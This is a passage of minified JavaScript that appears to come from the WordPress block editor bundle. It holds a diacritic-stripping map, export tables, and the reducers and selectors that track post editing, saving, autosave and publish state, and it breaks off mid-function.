ŀ:"l",Ł:"l",ł:"l",Ḿ:"M",ḿ:"m",M̆:"M",m̆:"m",Ń:"N",ń:"n",Ņ:"N",ņ:"n",Ň:"N",ň:"n",ʼn:"n",N̆:"N",n̆:"n",Ō:"O",ō:"o",Ŏ:"O",ŏ:"o",Ő:"O",ő:"o",Œ:"OE",œ:"oe",P̆:"P",p̆:"p",Ŕ:"R",ŕ:"r",Ŗ:"R",ŗ:"r",Ř:"R",ř:"r",R̆:"R",r̆:"r",Ȓ:"R",ȓ:"r",Ś:"S",ś:"s",Ŝ:"S",ŝ:"s",Ş:"S",Ș:"S",ș:"s",ş:"s",Š:"S",š:"s",Ţ:"T",ţ:"t",ț:"t",Ț:"T",Ť:"T",ť:"t",Ŧ:"T",ŧ:"t",T̆:"T",t̆:"t",Ũ:"U",ũ:"u",Ū:"U",ū:"u",Ŭ:"U",ŭ:"u",Ů:"U",ů:"u",Ű:"U",ű:"u",Ų:"U",ų:"u",Ȗ:"U",ȗ:"u",V̆:"V",v̆:"v",Ŵ:"W",ŵ:"w",Ẃ:"W",ẃ:"w",X̆:"X",x̆:"x",Ŷ:"Y",ŷ:"y",Ÿ:"Y",Y̆:"Y",y̆:"y",Ź:"Z",ź:"z",Ż:"Z",ż:"z",Ž:"Z",ž:"z",ſ:"s",ƒ:"f",Ơ:"O",ơ:"o",Ư:"U",ư:"u",Ǎ:"A",ǎ:"a",Ǐ:"I",ǐ:"i",Ǒ:"O",ǒ:"o",Ǔ:"U",ǔ:"u",Ǖ:"U",ǖ:"u",Ǘ:"U",ǘ:"u",Ǚ:"U",ǚ:"u",Ǜ:"U",ǜ:"u",Ứ:"U",ứ:"u",Ṹ:"U",ṹ:"u",Ǻ:"A",ǻ:"a",Ǽ:"AE",ǽ:"ae",Ǿ:"O",ǿ:"o",Þ:"TH",þ:"th",Ṕ:"P",ṕ:"p",Ṥ:"S",ṥ:"s",X́:"X",x́:"x",Ѓ:"Г",ѓ:"г",Ќ:"К",ќ:"к",A̋:"A",a̋:"a",E̋:"E",e̋:"e",I̋:"I",i̋:"i",Ǹ:"N",ǹ:"n",Ồ:"O",ồ:"o",Ṑ:"O",ṑ:"o",Ừ:"U",ừ:"u",Ẁ:"W",ẁ:"w",Ỳ:"Y",ỳ:"y",Ȁ:"A",ȁ:"a",Ȅ:"E",ȅ:"e",Ȉ:"I",ȉ:"i",Ȍ:"O",ȍ:"o",Ȑ:"R",ȑ:"r",Ȕ:"U",ȕ:"u",B̌:"B",b̌:"b",Č̣:"C",č̣:"c",Ê̌:"E",ê̌:"e",F̌:"F",f̌:"f",Ǧ:"G",ǧ:"g",Ȟ:"H",ȟ:"h",J̌:"J",ǰ:"j",Ǩ:"K",ǩ:"k",M̌:"M",m̌:"m",P̌:"P",p̌:"p",Q̌:"Q",q̌:"q",Ř̩:"R",ř̩:"r",Ṧ:"S",ṧ:"s",V̌:"V",v̌:"v",W̌:"W",w̌:"w",X̌:"X",x̌:"x",Y̌:"Y",y̌:"y",A̧:"A",a̧:"a",B̧:"B",b̧:"b",Ḑ:"D",ḑ:"d",Ȩ:"E",ȩ:"e",Ɛ̧:"E",ɛ̧:"e",Ḩ:"H",ḩ:"h",I̧:"I",i̧:"i",Ɨ̧:"I",ɨ̧:"i",M̧:"M",m̧:"m",O̧:"O",o̧:"o",Q̧:"Q",q̧:"q",U̧:"U",u̧:"u",X̧:"X",x̧:"x",Z̧:"Z",z̧:"z",й:"и",Й:"И",ё:"е",Ё:"Е"},s=Object.keys(t).join("|"),o=new RegExp(s,"g"),n=new RegExp(s,"");function i(e){return t[e]}var r=function(e){return e.replace(o,i)};e.exports=r,e.exports.has=function(e){return!!e.match(n)},e.exports.remove=r}},t={};function s(o){var n=t[o];if(void 0!==n)return n.exports;var i=t[o]={exports:{}};return e[o].call(i.exports,i,i.exports,s),i.exports}s.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return s.d(t,{a:t}),t},s.d=(e,t)=>{for(var o in t)s.o(t,o)&&!s.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},s.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),s.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var o={};(()=>{"use strict";s.r(o),s.d(o,{AlignmentToolbar:()=>Qh,Autocomplete:()=>qh,AutosaveMonitor:()=>Wc,BlockAlignmentToolbar:()=>Xh,BlockControls:()=>Jh,BlockEdit:()=>eg,BlockEditorKeyboardShortcuts:()=>tg,BlockFormatControls:()=>sg,BlockIcon:()=>og,BlockInspector:()=>ng,BlockList:()=>ig,BlockMover:()=>rg,BlockNavigationDropdown:()=>ag,BlockSelectionClearer:()=>lg,BlockSettingsMenu:()=>cg,BlockTitle:()=>dg,BlockToolbar:()=>ug,CharacterCount:()=>zh,ColorPalette:()=>pg,ContrastChecker:()=>mg,CopyHandler:()=>hg,DefaultBlockAppender:()=>gg,DocumentBar:()=>Xc,DocumentOutline:()=>ld,DocumentOutlineCheck:()=>cd,EditorHistoryRedo:()=>md,EditorHistoryUndo:()=>hd,EditorKeyboardShortcuts:()=>Fl,EditorKeyboardShortcutsRegister:()=>dd,EditorNotices:()=>_d,EditorProvider:()=>ql,EditorSnackbars:()=>bd,EntitiesSavedStates:()=>jd,ErrorBoundary:()=>Nd,FontSizePicker:()=>_g,InnerBlocks:()=>bg,Inserter:()=>fg,InspectorAdvancedControls:()=>yg,InspectorControls:()=>xg,LocalAutosaveMonitor:()=>Md,MediaPlaceholder:()=>Pg,MediaUpload:()=>jg,MediaUploadCheck:()=>Eg,MultiSelectScrollIntoView:()=>Tg,NavigableToolbar:()=>Bg,ObserveTyping:()=>Ig,PageAttributesCheck:()=>Ld,PageAttributesOrder:()=>Vd,PageAttributesPanel:()=>eu,PageAttributesParent:()=>Qd,PageTemplate:()=>uu,PanelColorSettings:()=>vg,PlainText:()=>Sg,PluginBlockSettingsMenuItem:()=>Su,PluginDocumentSettingPanel:()=>vu,PluginMoreMenuItem:()=>wu,PluginPostPublishPanel:()=>ju,PluginPostStatusInfo:()=>Iu,PluginPrePublishPanel:()=>Ru,PluginPreviewMenuItem:()=>Mu,PluginSidebar:()=>Lu,PluginSidebarMoreMenuItem:()=>Ou,PostAuthor:()=>qu,PostAuthorCheck:()=>Qu,PostAuthorPanel:()=>Ju,PostComments:()=>tp,PostDiscussionPanel:()=>rp,PostExcerpt:()=>ap,PostExcerptCheck:()=>lp,PostExcerptPanel:()=>gp,PostFeaturedImage:()=>Pp,PostFeaturedImageCheck:()=>yp,PostFeaturedImagePanel:()=>Ep,PostFormat:()=>Ip,PostFormatCheck:()=>Tp,PostLastRevision:()=>Rp,PostLastRevisionCheck:()=>Np,PostLastRevisionPanel:()=>Mp,PostLockedModal:()=>Lp,PostPendingStatus:()=>Fp,PostPendingStatusCheck:()=>Op,PostPingbacks:()=>sp,PostPreviewButton:()=>Vp,PostPublishButton:()=>Gp,PostPublishButtonLabel:()=>zp,PostPublishPanel:()=>Qm,PostSavedState:()=>rh,PostSchedule:()=>pm,PostScheduleCheck:()=>ah,PostScheduleLabel:()=>hm,PostSchedulePanel:()=>ch,PostSticky:()=>th,PostStickyCheck:()=>eh,PostSwitchToDraftButton:()=>dh,PostSyncStatus:()=>uh,PostTaxonomies:()=>mh,PostTaxonomiesCheck:()=>hh,PostTaxonomiesFlatTermSelector:()=>jm,PostTaxonomiesHierarchicalTermSelector:()=>Lm,PostTaxonomiesPanel:()=>_h,PostTemplatePanel:()=>Gu,PostTextEditor:()=>bh,PostTitle:()=>kh,PostTitleRaw:()=>Ch,PostTrash:()=>jh,PostTrashCheck:()=>Ph,PostTypeSupportCheck:()=>Od,PostURL:()=>Eh,PostURLCheck:()=>Th,PostURLLabel:()=>Bh,PostURLPanel:()=>Nh,PostVisibility:()=>Zp,PostVisibilityCheck:()=>Rh,PostVisibilityLabel:()=>Kp,RichText:()=>Kh,RichTextShortcut:()=>wg,RichTextToolbarButton:()=>kg,ServerSideRender:()=>Wh(),SkipToSelectedBlock:()=>Ng,TableOfContents:()=>Hh,TextEditorGlobalKeyboardShortcuts:()=>Yg,ThemeSupportCheck:()=>bp,TimeToRead:()=>Vh,URLInput:()=>Dg,URLInputButton:()=>Ag,URLPopover:()=>Rg,UnsavedChangesWarning:()=>Gh,VisualEditorGlobalKeyboardShortcuts:()=>Zg,Warning:()=>Mg,WordCount:()=>Oh,WritingFlow:()=>Lg,__unstableRichTextInputEvent:()=>Cg,cleanForSlug:()=>Kg,createCustomColorsHOC:()=>Og,getColorClassName:()=>Fg,getColorObjectByAttributeValues:()=>Vg,getColorObjectByColorValue:()=>zg,getFontSize:()=>Ug,getFontSizeClass:()=>Hg,getTemplatePartIcon:()=>U,mediaUpload:()=>Mr,privateApis:()=>Nb,registerEntityAction:()=>Db,registerEntityField:()=>Rb,store:()=>Ac,storeConfig:()=>Dc,transformStyles:()=>h.transformStyles,unregisterEntityAction:()=>Ab,unregisterEntityField:()=>Mb,useEntitiesSavedStatesIsDirty:()=>Cd,usePostScheduleLabel:()=>gm,usePostURLLabel:()=>Ih,usePostVisibilityLabel:()=>qp,userAutocompleter:()=>Mc,withColorContext:()=>Gg,withColors:()=>$g,withFontSizes:()=>Wg});var e={};s.r(e),s.d(e,{__experimentalGetDefaultTemplatePartAreas:()=>ls,__experimentalGetDefaultTemplateType:()=>cs,__experimentalGetDefaultTemplateTypes:()=>as,__experimentalGetTemplateInfo:()=>ds,__unstableIsEditorReady:()=>et,canInsertBlockType:()=>os,canUserUseUnfilteredHTML:()=>$e,didPostSaveRequestFail:()=>Ee,didPostSaveRequestSucceed:()=>je,getActivePostLock:()=>Ge,getAdjacentBlockClientId:()=>Et,getAutosaveAttribute:()=>me,getBlock:()=>mt,getBlockAttributes:()=>pt,getBlockCount:()=>yt,getBlockHierarchyRootClientId:()=>jt,getBlockIndex:()=>Ut,getBlockInsertionPoint:()=>Xt,getBlockListSettings:()=>rs,getBlockMode:()=>Kt,getBlockName:()=>dt,getBlockOrder:()=>zt,getBlockRootClientId:()=>Pt,getBlockSelectionEnd:()=>vt,getBlockSelectionStart:()=>xt,getBlocks:()=>ht,getBlocksByClientId:()=>bt,getClientIdsOfDescendants:()=>gt,getClientIdsWithDescendants:()=>_t,getCurrentPost:()=>oe,getCurrentPostAttribute:()=>de,getCurrentPostId:()=>ie,getCurrentPostLastRevisionId:()=>le,getCurrentPostRevisionsCount:()=>ae,getCurrentPostType:()=>ne,getCurrentTemplateId:()=>re,getDeviceType:()=>ot,getEditedPostAttribute:()=>pe,getEditedPostContent:()=>De,getEditedPostPreviewLink:()=>Ie,getEditedPostSlug:()=>Le,getEditedPostVisibility:()=>he,getEditorBlocks:()=>Ze,getEditorMode:()=>rt,getEditorSelection:()=>Je,getEditorSelectionEnd:()=>Xe,getEditorSelectionStart:()=>Qe,getEditorSettings:()=>tt,getFirstMultiSelectedBlockClientId:()=>At,getGlobalBlockCount:()=>ft,getInserterItems:()=>ns,getLastMultiSelectedBlockClientId:()=>Rt,getMultiSelectedBlockClientIds:()=>Nt,getMultiSelectedBlocks:()=>Dt,getMultiSelectedBlocksEndClientId:()=>Vt,getMultiSelectedBlocksStartClientId:()=>Ft,getNextBlockClientId:()=>Bt,getPermalink:()=>Me,getPermalinkParts:()=>Oe,getPostEdits:()=>ce,getPostLockUser:()=>He,getPostTypeLabel:()=>us,getPreviousBlockClientId:()=>Tt,getRenderingMode:()=>st,getSelectedBlock:()=>Ct,getSelectedBlockClientId:()=>kt,getSelectedBlockCount:()=>St,getSelectedBlocksInitialCaretPosition:()=>It,getStateBeforeOptimisticTransaction:()=>at,getSuggestedPostFormat:()=>Ne,getTemplate:()=>ts,getTemplateLock:()=>ss,hasChangedContent:()=>J,hasEditorRedo:()=>Q,hasEditorUndo:()=>q,hasInserterItems:()=>is,hasMultiSelection:()=>Wt,hasNonPostEntityChanges:()=>te,hasSelectedBlock:()=>wt,hasSelectedInnerBlock:()=>Gt,inSomeHistory:()=>lt,isAncestorMultiSelected:()=>Ot,isAutosavingPost:()=>Te,isBlockInsertionPointVisible:()=>Jt,isBlockMultiSelected:()=>Lt,isBlockSelected:()=>Ht,isBlockValid:()=>ut,isBlockWithinSelection:()=>$t,isCaretWithinFormattedText:()=>Qt,isCleanNewPost:()=>se,isCurrentPostPending:()=>ge,isCurrentPostPublished:()=>_e,isCurrentPostScheduled:()=>fe,isDeletingPost:()=>ke,isEditedPostAutosaveable:()=>ve,isEditedPostBeingScheduled:()=>Se,isEditedPostDateFloating:()=>we,isEditedPostDirty:()=>ee,isEditedPostEmpty:()=>xe,isEditedPostNew:()=>X,isEditedPostPublishable:()=>be,isEditedPostSaveable:()=>ye,isEditorPanelEnabled:()=>Ke,isEditorPanelOpened:()=>qe,isEditorPanelRemoved:()=>Ye,isFirstMultiSelectedBlock:()=>Mt,isInserterOpened:()=>it,isListViewOpened:()=>nt,isMultiSelecting:()=>Zt,isPermalinkEditable:()=>Re,isPostAutosavingLocked:()=>ze,isPostLockTakeover:()=>Ue,isPostLocked:()=>Fe,isPostSavingLocked:()=>Ve,isPreviewingPost:()=>Be,isPublishSidebarEnabled:()=>We,isPublishSidebarOpened:()=>ps,isPublishingPost:()=>Ae,isSavingNonPostEntityChanges:()=>Pe,isSavingPost:()=>Ce,isSelectionEnabled:()=>Yt,isTyping:()=>qt,isValidTemplate:()=>es});var t={};s.r(t),s.d(t,{__experimentalTearDownEditor:()=>vs,__unstableSaveForPreview:()=>Is,autosave:()=>Bs,clearSelectedBlock:()=>ho,closePublishSidebar:()=>so,createUndoLevel:()=>As,disablePublishSidebar:()=>Ls,editPost:()=>Ps,enablePublishSidebar:()=>Ms,enterFormattedText:()=>Do,exitFormattedText:()=>Ao,hideInsertionPoint:()=>ko,insertBlock:()=>vo,insertBlocks:()=>So,insertDefaultBlock:()=>Ro,lockPostAutosaving:()=>Vs,lockPostSaving:()=>Os,mergeBlocks:()=>jo,moveBlockToPosition:()=>xo,moveBlocksDown:()=>bo,moveBlocksUp:()=>yo,multiSelect:()=>mo,openPublishSidebar:()=>to,receiveBlocks:()=>ro,redo:()=>Ns,refreshPost:()=>Es,removeBlock:()=>To,removeBlocks:()=>Eo,removeEditorPanel:()=>Ys,replaceBlock:()=>fo,replaceBlocks:()=>_o,resetBlocks:()=>io,resetEditorBlocks:()=>Us,resetPost:()=>Ss,savePost:()=>js,selectBlock:()=>co,setDeviceType:()=>$s,setEditedPost:()=>Cs,setIsInserterOpened:()=>Ks,setIsListViewOpened:()=>qs,setRenderingMode:()=>Gs,setTemplateValidity:()=>Co,setupEditor:()=>xs,setupEditorState:()=>ks,showInsertionPoint:()=>wo,startMultiSelect:()=>uo,startTyping:()=>Io,stopMultiSelect:()=>po,stopTyping:()=>No,switchEditorMode:()=>eo,synchronizeTemplate:()=>Po,toggleBlockMode:()=>Bo,toggleDistractionFree:()=>Qs,toggleEditorPanelEnabled:()=>Ws,toggleEditorPanelOpened:()=>Zs,togglePublishSidebar:()=>oo,toggleSelection:()=>go,toggleSpotlightMode:()=>Xs,toggleTopToolbar:()=>Js,trashPost:()=>Ts,undo:()=>Ds,unlockPostAutosaving:()=>zs,unlockPostSaving:()=>Fs,updateBlock:()=>ao,updateBlockAttributes:()=>lo,updateBlockListSettings:()=>Mo,updateEditorSettings:()=>Hs,updatePost:()=>ws,updatePostLock:()=>Rs});var n={};s.r(n),s.d(n,{closeModal:()=>Ra,disableComplementaryArea:()=>Ea,enableComplementaryArea:()=>ja,openModal:()=>Aa,pinItem:()=>Ta,setDefaultComplementaryArea:()=>Pa,setFeatureDefaults:()=>Da,setFeatureValue:()=>Na,toggleFeature:()=>Ia,unpinItem:()=>Ba});var i={};s.r(i),s.d(i,{getActiveComplementaryArea:()=>Ma,isComplementaryAreaLoading:()=>La,isFeatureActive:()=>Fa,isItemPinned:()=>Oa,isModalActive:()=>Va});var r={};s.r(r),s.d(r,{ActionItem:()=>Za,ComplementaryArea:()=>tl,ComplementaryAreaMoreMenuItem:()=>Ka,FullscreenMode:()=>sl,InterfaceSkeleton:()=>al,NavigableRegion:()=>nl,PinnedItems:()=>Qa,store:()=>Ua});var a={};s.r(a),s.d(a,{createTemplate:()=>lc,hideBlockTypes:()=>dc,registerEntityAction:()=>tc,registerEntityField:()=>oc,registerPostTypeSchema:()=>rc,removeTemplates:()=>mc,revertTemplate:()=>pc,saveDirtyEntities:()=>uc,setCurrentTemplateId:()=>ac,setDefaultRenderingMode:()=>hc,setIsReady:()=>ic,showBlockTypes:()=>cc,unregisterEntityAction:()=>sc,unregisterEntityField:()=>nc});var l={};s.r(l),s.d(l,{getDefaultRenderingMode:()=>Nc,getEntityActions:()=>Ec,getEntityFields:()=>Bc,getInserter:()=>Sc,getInserterSidebarToggleRef:()=>kc,getListViewToggleRef:()=>wc,getPostBlocksByName:()=>Ic,getPostIcon:()=>Pc,hasPostMetaChanges:()=>jc,isEntityReady:()=>Tc});const c=window.wp.data,d=window.wp.coreData,u=window.wp.element,p=window.wp.compose,m=window.wp.hooks,h=window.wp.blockEditor,g={...h.SETTINGS_DEFAULTS,richEditingEnabled:!0,codeEditingEnabled:!0,fontLibraryEnabled:!0,enableCustomFields:void 0,defaultRenderingMode:"post-only"};const _=(0,c.combineReducers)({actions:function(e={},t){var s;switch(t.type){case"REGISTER_ENTITY_ACTION":return{...e,[t.kind]:{...e[t.kind],[t.name]:[...(null!==(s=e[t.kind]?.[t.name])&&void 0!==s?s:[]).filter((e=>e.id!==t.config.id)),t.config]}};case"UNREGISTER_ENTITY_ACTION":var o;return{...e,[t.kind]:{...e[t.kind],[t.name]:(null!==(o=e[t.kind]?.[t.name])&&void 0!==o?o:[]).filter((e=>e.id!==t.actionId))}}}return e},fields:function(e={},t){var s,o;switch(t.type){case"REGISTER_ENTITY_FIELD":return{...e,[t.kind]:{...e[t.kind],[t.name]:[...(null!==(s=e[t.kind]?.[t.name])&&void 0!==s?s:[]).filter((e=>e.id!==t.config.id)),t.config]}};case"UNREGISTER_ENTITY_FIELD":return{...e,[t.kind]:{...e[t.kind],[t.name]:(null!==(o=e[t.kind]?.[t.name])&&void 0!==o?o:[]).filter((e=>e.id!==t.fieldId))}}}return e},isReady:function(e={},t){return"SET_IS_READY"===t.type?{...e,[t.kind]:{...e[t.kind],[t.name]:!0}}:e}});function f(e){return e&&"object"==typeof e&&"raw"in e?e.raw:e}const b=(0,c.combineReducers)({postId:function(e=null,t){return"SET_EDITED_POST"===t.type?t.postId:e},postType:function(e=null,t){return"SET_EDITED_POST"===t.type?t.postType:e},templateId:function(e=null,t){return"SET_CURRENT_TEMPLATE_ID"===t.type?t.id:e},saving:function(e={},t){switch(t.type){case"REQUEST_POST_UPDATE_START":case"REQUEST_POST_UPDATE_FINISH":return{pending:"REQUEST_POST_UPDATE_START"===t.type,options:t.options||{}}}return e},deleting:function(e={},t){switch(t.type){case"REQUEST_POST_DELETE_START":case"REQUEST_POST_DELETE_FINISH":return{pending:"REQUEST_POST_DELETE_START"===t.type}}return e},postLock:function(e={isLocked:!1},t){return"UPDATE_POST_LOCK"===t.type?t.lock:e},template:function(e={isValid:!0},t){return"SET_TEMPLATE_VALIDITY"===t.type?{...e,isValid:t.isValid}:e},postSavingLock:function(e={},t){switch(t.type){case"LOCK_POST_SAVING":return{...e,[t.lockName]:!0};case"UNLOCK_POST_SAVING":{const{[t.lockName]:s,...o}=e;return o}}return e},editorSettings:function(e=g,t){return"UPDATE_EDITOR_SETTINGS"===t.type?{...e,...t.settings}:e},postAutosavingLock:function(e={},t){switch(t.type){case"LOCK_POST_AUTOSAVING":return{...e,[t.lockName]:!0};case"UNLOCK_POST_AUTOSAVING":{const{[t.lockName]:s,...o}=e;return o}}return e},renderingMode:function(e="post-only",t){return"SET_RENDERING_MODE"===t.type?t.mode:e},deviceType:function(e="Desktop",t){return"SET_DEVICE_TYPE"===t.type?t.deviceType:e},removedPanels:function(e=[],t){if("REMOVE_PANEL"===t.type)if(!e.includes(t.panelName))return[...e,t.panelName];return e},blockInserterPanel:function(e=!1,t){switch(t.type){case"SET_IS_LIST_VIEW_OPENED":return!t.isOpen&&e;case"SET_IS_INSERTER_OPENED":return t.value}return e},inserterSidebarToggleRef:function(e={current:null}){return e},listViewPanel:function(e=!1,t){switch(t.type){case"SET_IS_INSERTER_OPENED":return!t.value&&e;case"SET_IS_LIST_VIEW_OPENED":return t.isOpen}return e},listViewToggleRef:function(e={current:null}){return e},publishSidebarActive:function(e=!1,t){switch(t.type){case"OPEN_PUBLISH_SIDEBAR":return!0;case"CLOSE_PUBLISH_SIDEBAR":return!1;case"TOGGLE_PUBLISH_SIDEBAR":return!e}return e},dataviews:_}),y=window.wp.blocks,x=window.wp.date,v=window.wp.url,S=window.wp.deprecated;var w=s.n(S);const k=window.wp.preferences,C=new Set(["meta"]),P=/%(?:postname|pagename)%/,j=6e4,E=["title","excerpt","content"],T="wp_template",B="wp_template_part",I="wp_block",N="wp_navigation",D="custom",A=["wp_template","wp_template_part"],R=[...A,"wp_block","wp_navigation"],M=window.wp.primitives,L=window.ReactJSXRuntime,O=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})}),F=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",d:"M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})}),V=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})}),z=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})});function U(e){return"header"===e?O:"footer"===e?F:"sidebar"===e?V:z}const H=window.wp.privateApis,{lock:G,unlock:$}=(0,H.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/editor"),W=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})}),Z={},Y=e=>{var t;if(!e)return Z;const{templateTypes:s,templateAreas:o,template:n}=e,{description:i,slug:r,title:a,area:l}=n,{title:c,description:d}=null!==(t=Object.values(s).find((e=>e.slug===r)))&&void 0!==t?t:Z,u="string"==typeof a?a:a?.rendered,p="string"==typeof i?i:i?.raw,m=o?.map((e=>({...e,icon:U(e.icon)}))),h=m?.find((e=>l===e.area))?.icon||W;return{title:u&&u!==r?u:c||r,description:p||d,icon:h}},K={},q=(0,c.createRegistrySelector)((e=>()=>e(d.store).hasUndo())),Q=(0,c.createRegistrySelector)((e=>()=>e(d.store).hasRedo()));function X(e){return"auto-draft"===oe(e).status}function J(e){return"content"in ce(e)}const ee=(0,c.createRegistrySelector)((e=>t=>{const s=ne(t),o=ie(t);return e(d.store).hasEditsForEntityRecord("postType",s,o)})),te=(0,c.createRegistrySelector)((e=>t=>{const s=e(d.store).__experimentalGetDirtyEntityRecords(),{type:o,id:n}=oe(t);return s.some((e=>"postType"!==e.kind||e.name!==o||e.key!==n))}));function se(e){return!ee(e)&&X(e)}const oe=(0,c.createRegistrySelector)((e=>t=>{const s=ie(t),o=ne(t),n=e(d.store).getRawEntityRecord("postType",o,s);return n||K}));function ne(e){return e.postType}function ie(e){return e.postId}function re(e){return e.templateId}function ae(e){var t;return null!==(t=oe(e)._links?.["version-history"]?.[0]?.count)&&void 0!==t?t:0}function le(e){var t;return null!==(t=oe(e)._links?.["predecessor-version"]?.[0]?.id)&&void 0!==t?t:null}const ce=(0,c.createRegistrySelector)((e=>t=>{const s=ne(t),o=ie(t);return e(d.store).getEntityRecordEdits("postType",s,o)||K}));function de(e,t){switch(t){case"type":return ne(e);case"id":return ie(e);default:const s=oe(e);if(!s.hasOwnProperty(t))break;return f(s[t])}}const ue=(0,c.createSelector)(((e,t)=>{const s=ce(e);return s.hasOwnProperty(t)?{...de(e,t),...s[t]}:de(e,t)}),((e,t)=>[de(e,t),ce(e)[t]]));function pe(e,t){if("content"===t)return De(e);const s=ce(e);return s.hasOwnProperty(t)?C.has(t)?ue(e,t):s[t]:de(e,t)}const me=(0,c.createRegistrySelector)((e=>(t,s)=>{if(!E.includes(s)&&"preview_link"!==s)return;const o=ne(t);if("wp_template"===o)return!1;const n=ie(t),i=e(d.store).getCurrentUser()?.id,r=e(d.store).getAutosave(o,n,i);return r?f(r[s]):void 0}));function he(e){if("private"===pe(e,"status"))return"private";return pe(e,"password")?"password":"public"}function ge(e){return"pending"===oe(e).status}function _e(e,t){const s=t||oe(e);return-1!==["publish","private"].indexOf(s.status)||"future"===s.status&&!(0,x.isInTheFuture)(new Date(Number((0,x.getDate)(s.date))-j))}function fe(e){return"future"===oe(e).status&&!_e(e)}function be(e){const t=oe(e);return ee(e)||-1===["publish","private","future"].indexOf(t.status)}function ye(e){return!Ce(e)&&(!!pe(e,"title")||!!pe(e,"excerpt")||!xe(e)||"native"===u.Platform.OS)}const xe=(0,c.createRegistrySelector)((e=>t=>{const s=ie(t),o=ne(t),n=e(d.store).getEditedEntityRecord("postType",o,s);if("function"!=typeof n.content)return!n.content;const i=pe(t,"blocks");if(0===i.length)return!0;if(i.length>1)return!1;const r=i[0].name;return(r===(0,y.getDefaultBlockName)()||r===(0,y.getFreeformContentHandlerName)())&&!De(t)})),ve=(0,c.createRegistrySelector)((e=>t=>{if(!ye(t))return!1;if(ze(t))return!1;const s=ne(t);if("wp_template"===s)return!1;const o=ie(t),n=e(d.store).hasFetchedAutosaves(s,o),i=e(d.store).getCurrentUser()?.id,r=e(d.store).getAutosave(s,o,i);return!!n&&(!r||(!!J(t)||["title","excerpt","meta"].some((e=>f(r[e])!==pe(t,e)))))}));function Se(e){const t=pe(e,"date"),s=new Date(Number((0,x.getDate)(t))-j);return(0,x.isInTheFuture)(s)}function we(e){const t=pe(e,"date"),s=pe(e,"modified"),o=oe(e).status;return("draft"===o||"auto-draft"===o||"pending"===o)&&(t===s||null===t)}function ke(e){return!!e.deleting.pending}function Ce(e){return!!e.saving.pending}const Pe=(0,c.createRegistrySelector)((e=>t=>{const s=e(d.store).__experimentalGetEntitiesBeingSaved(),{type:o,id:n}=oe(t);return s.some((e=>"postType"!==e.kind||e.name!==o||e.key!==n))})),je=(0,c.createRegistrySelector)((e=>t=>{const s=ne(t),o=ie(t);return!e(d.store).getLastEntitySaveError("postType",s,o)})),Ee=(0,c.createRegistrySelector)((e=>t=>{const s=ne(t),o=ie(t);return!!e(d.store).getLastEntitySaveError("postType",s,o)}));function Te(e){return Ce(e)&&Boolean(e.saving.options?.isAutosave)}function Be(e){return Ce(e)&&Boolean(e.saving.options?.isPreview)}function Ie(e){if(e.saving.pending||Ce(e))return;let t=me(e,"preview_link");t&&"draft"!==oe(e).status||(t=pe(e,"link"),t&&(t=(0,v.addQueryArgs)(t,{preview:!0})));const s=pe(e,"featured_media");return t&&s?(0,v.addQueryArgs)(t,{_thumbnail_id:s}):t}const Ne=(0,c.createRegistrySelector)((e=>()=>{const t=e(h.store).getBlocks();if(t.length>2)return null;let s;if(1===t.length&&(s=t[0].name,"core/embed"===s)){const e=t[0].attributes?.providerNameSlug;["youtube","vimeo"].includes(e)?s="core/video":["spotify","soundcloud"].includes(e)&&(s="core/audio")}switch(2===t.length&&"core/paragraph"===t[1].name&&(s=t[0].name),s){case"core/image":return"image";case"core/quote":case"core/pullquote":return"quote";case"core/gallery":return"gallery";case"core/video":return"video";case"core/audio":return"audio";default:return null}})),De=(0,c.createRegistrySelector)((e=>t=>{const s=ie(t),o=ne(t),n=e(d.store).getEditedEntityRecord("postType",o,s);if(n){if("function"==typeof n.content)return n.content(n);if(n.blocks)return(0,y.__unstableSerializeAndClean)(n.blocks);if(n.content)return n.content}return""}));function Ae(e){return Ce(e)&&!_e(e)&&"publish"===pe(e,"status")}function Re(e){const t=pe(e,"permalink_template");return P.test(t)}function Me(e){const t=Oe(e);if(!t)return 